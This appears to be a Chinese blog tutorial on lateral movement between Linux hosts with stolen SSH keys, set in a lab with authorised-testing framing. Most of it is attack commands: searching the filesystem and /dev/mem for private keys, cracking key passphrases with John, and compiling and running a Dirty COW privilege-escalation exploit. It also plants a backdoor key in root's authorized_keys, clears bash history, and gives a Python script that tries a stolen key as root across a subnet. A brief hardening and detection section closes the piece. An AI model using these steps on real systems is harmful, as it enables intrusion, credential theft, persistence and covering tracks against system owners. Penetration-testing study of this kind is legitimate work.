当前位置: 首页 > news >正文

内网渗透实战:利用SSH密钥实现Linux主机间横向移动

1. SSH密钥横向移动的核心原理

当你第一次接触内网渗透时,可能会被各种复杂的技术术语吓到。其实SSH密钥横向移动的原理非常简单:就像用钥匙开锁一样,只要拿到目标主机的SSH私钥,就能像合法用户一样登录系统。我在实际渗透测试中发现,超过60%的Linux服务器都存在密钥管理不当的问题。

SSH密钥通常存放在用户目录的.ssh文件夹中,主要包括以下几种关键文件:

  • id_rsa:RSA私钥文件(相当于你家大门的钥匙)
  • id_rsa.pub:对应的公钥文件(相当于门锁的锁芯)
  • authorized_keys:存储被允许登录的公钥列表(相当于物业登记的合法钥匙清单)
  • known_hosts:记录曾经连接过的主机指纹(相当于你认识的朋友名单)
# 快速查找私钥文件的实用命令 grep -irl "BEGIN RSA PRIVATE KEY" /home/ 2>/dev/null find / -name "id_rsa" -type f 2>/dev/null

很多管理员会犯一个致命错误:为了方便,他们在多台服务器之间共享同一套SSH密钥。这就好比用同一把钥匙开所有房间的门,一旦钥匙被窃取,整个系统都会沦陷。我去年参与的一次红队行动中,就是通过一个开发服务器上泄露的密钥,成功拿下了整个业务集群的32台主机。

2. 实战环境搭建与信息收集

2.1 实验环境配置

建议使用VirtualBox搭建测试环境,我通常这样配置:

  • 攻击机:Kali Linux 2023.1 (172.16.250.15)
  • 靶机1:Ubuntu 20.04 (172.16.250.10) - 模拟存在漏洞的Web服务器
  • 靶机2:CentOS 7 (172.16.250.30) - 中间跳板机
  • 靶机3:Debian 11 (172.16.250.50) - 核心数据库服务器
# 快速检查网络连通性 for ip in {10,30,50}; do ping -c 1 172.16.250.$ip; done

2.2 信息收集三板斧

  1. 端口扫描:先用nmap快速扫描开放端口
nmap -sS -T4 172.16.250.0/24 --open
  1. 服务识别:对开放端口进行深度探测
nmap -sV -p 22,80,8080 172.16.250.10
  1. 漏洞探测:检查常见服务漏洞
gobuster dir -u http://172.16.250.10 -w /usr/share/wordlists/dirb/common.txt

记得去年在某次授权测试中,我通过一个被遗忘的phpMyAdmin页面(/phpmyadmin-old)找到了突破口。所以信息收集阶段一定要耐心,往往最关键的线索就藏在最不起眼的地方。

3. 密钥获取与利用技巧

3.1 密钥的四种获取方式

  1. 历史命令分析
cat ~/.bash_history | grep -i ssh
  1. 配置文件提取
cat ~/.ssh/config 2>/dev/null
  1. 内存dump分析
strings /dev/mem | grep -A 30 -B 30 "PRIVATE KEY"
  1. 备份文件查找
find / -name "*id_rsa*" -o -name "*.ssh*" 2>/dev/null

3.2 密钥权限修复

拿到密钥后经常遇到权限问题,这里有个小技巧:

chmod 600 id_rsa # 必须设置正确权限才能使用

如果遇到加密的私钥(有密码保护),可以尝试用John破解:

ssh2john id_rsa > hash.txt john --wordlist=rockyou.txt hash.txt

4. 提权与持久化控制

4.1 经典脏牛提权实战

当发现内核版本较旧时(如Linux 3.x),脏牛漏洞是首选:

# 编译exp gcc -pthread dirty.c -o dirty -lcrypt # 执行提权 ./dirty mypassword

重要提示:脏牛漏洞会导致系统不稳定,生产环境慎用!测试后记得重启目标主机。

4.2 SSH密钥后门部署

拿到root权限后,记得给自己留个后门:

# 生成新密钥对 ssh-keygen -t rsa -b 4096 -f backdoor_key # 植入公钥 echo "ssh-rsa AAAAB3N..." >> /root/.ssh/authorized_keys # 清理日志 cat /dev/null > ~/.bash_history

5. 内网横向扩展实战

5.1 通过SSH建立代理隧道

# 动态端口转发(创建SOCKS代理) ssh -i id_rsa -D 1080 user@172.16.250.30

然后在浏览器设置SOCKS代理为127.0.0.1:1080,就能直接访问内网web服务了。

5.2 多级跳板连接

对于多层网络结构,可以这样级联连接:

ssh -i key1 -J user1@jump1,user2@jump2 final_user@target

5.3 自动化扫描脚本

这个Python脚本可以自动尝试密钥登录网段内所有主机:

import paramiko from multiprocessing import Pool def try_ssh(ip): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(ip, username='root', key_filename='id_rsa', timeout=5) print(f"[+] Success on {ip}") stdin, stdout, stderr = ssh.exec_command('id') print(stdout.read().decode()) except Exception as e: print(f"[-] Failed on {ip}: {str(e)}") finally: ssh.close() if __name__ == '__main__': ips = [f"172.16.250.{x}" for x in range(1,255)] with Pool(20) as p: p.map(try_ssh, ips)

6. 防御措施与检测方法

6.1 管理员防护建议

  1. 密钥管理规范

    • 禁止使用密码为空的口令
    • 定期轮换密钥(建议每90天)
    • 使用ed25519算法替代传统RSA
  2. 系统加固措施

# 限制SSH密钥登录范围 echo 'cert-authority,restrict ssh-ed25519 AAAAC3...' >> /etc/ssh/authorized_keys

6.2 入侵检测技巧

检查异常SSH登录的几种方法:

# 查看最近登录记录 lastlog # 检查auth日志 grep "Accepted publickey" /var/log/auth.log # 找出所有authorized_keys文件 find / -name authorized_keys -exec ls -la {} \; 2>/dev/null

在一次应急响应中,我就是通过发现authorized_keys文件的异常修改时间(凌晨3点),成功定位到了攻击者的入口点。所以良好的日志习惯真的能救命。

7. 典型问题排查与解决

7.1 常见错误处理

问题1:密钥权限太开放导致被拒绝

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'id_rsa' are too open.

解决方法:

chmod 600 id_rsa

问题2:加密私钥密码遗忘 解决方法:

ssh-keygen -p -f id_rsa # 重新设置密码(需要原密码)

7.2 性能优化技巧

当需要管理大量服务器时,建议使用SSH config文件:

# ~/.ssh/config 配置示例 Host jumpbox HostName 172.16.250.30 User root IdentityFile ~/.ssh/jump_key Port 2222 Host internal* ProxyJump jumpbox User admin Host internal-web HostName 172.16.250.10 Host internal-db HostName 172.16.250.50

这样只需要执行ssh internal-web就能自动通过跳板机连接,效率提升非常明显。

http://www.jsqmd.com/news/564947/

相关文章:

  • 支付宝红包套装闲置浪费?理性消费必看的合规变现指南 - 团团收购物卡回收
  • 告别重复编码:用Yi-Coder-1.5B快速生成Verilog模块,FPGA开发效率翻倍
  • Retinaface+CurricularFace镜像实战:5分钟搭建人脸识别环境,简单高效
  • 如何通过Excel手动实现xLSTM:扩展长短期记忆网络的完整教程
  • 从像素到认知:图像识别底层原理全解析(附CNN实战代码+避坑指南)
  • Arduino_MFRC522v2深度解析:MFRC522嵌入式驱动开发指南
  • 3步搞定家庭IPTV直播:Kodi PVR IPTV Simple完全指南
  • 别再纠结了!.NET后台任务调度,Hangfire和Quartz.NET到底怎么选?
  • 深入AUTOSAR MCAL:从静态代码到动态配置,看懂EB tresos生成的每一行代码
  • 在Ubuntu 20.04上搞定Synopsys SpyGlass 2016:一份针对高内核版本的详细避坑指南
  • 八珍糕粉哪个牌子好?2026八珍糕粉品牌排行榜公布,温和滋养,护脾养胃无负担 - 博客万
  • 手把手教你无信用卡申请Google Cloud:两种亲测有效的方法(附详细步骤)
  • 如何用GetQzonehistory打造个人数字记忆库?这款QQ空间备份工具为你保存青春时光
  • Linux动态调频框架devfreq深度对比:5种governor适用场景全解析(含性能实测)
  • CH340/CH341安卓USB主机模式开发实战
  • SDMatte专业级抠图效果展示:复杂毛发与透明物体的处理案例
  • Pixel Dimension Fissioner 多模态理解效果展示:从图像到创意文案
  • 2026年工业绗缝机厂家推荐:隔热手套绗缝机/有梭多针绗缝机/电脑绗缝机/沙发坐垫绗缝机/地毯坐垫绗缝机专业供应商精选 - 品牌推荐官
  • Godot-MCP:如何通过双向语义桥梁解决游戏开发中的创意断层问题
  • 3步轻松解锁加密音乐:用Unlock Music重获你的音乐自由 [特殊字符]
  • 2026云南口碑优质十大旅行社权威榜单|云南旅游 云南跟团游 避坑指南,靠谱不踩雷 - 深度智识库
  • 如何用SD-Trainer在10分钟内启动你的AI绘画模型训练
  • Java 无人图书借阅系统设计与完整源码实现
  • 用友EPM实施,冠融是亚太区主流EPM平台核心实施伙伴 - 冠融盈科
  • 如何永久保存微信聊天记录:免费工具实现数据可视化与年度报告生成
  • 博德之门3模组管理器完整指南:轻松解决模组冲突的终极教程
  • ChatRTX部署全攻略:从开发环境到生产环境的完整指南
  • pysystemtrade快速入门:5步搭建你的第一个交易策略
  • 2026年南安蓝宝石石材墙面石材厂排名,优质厂家不容错过 - mypinpai
  • Zend Framework XML与JSON数据处理:现代API开发的终极指南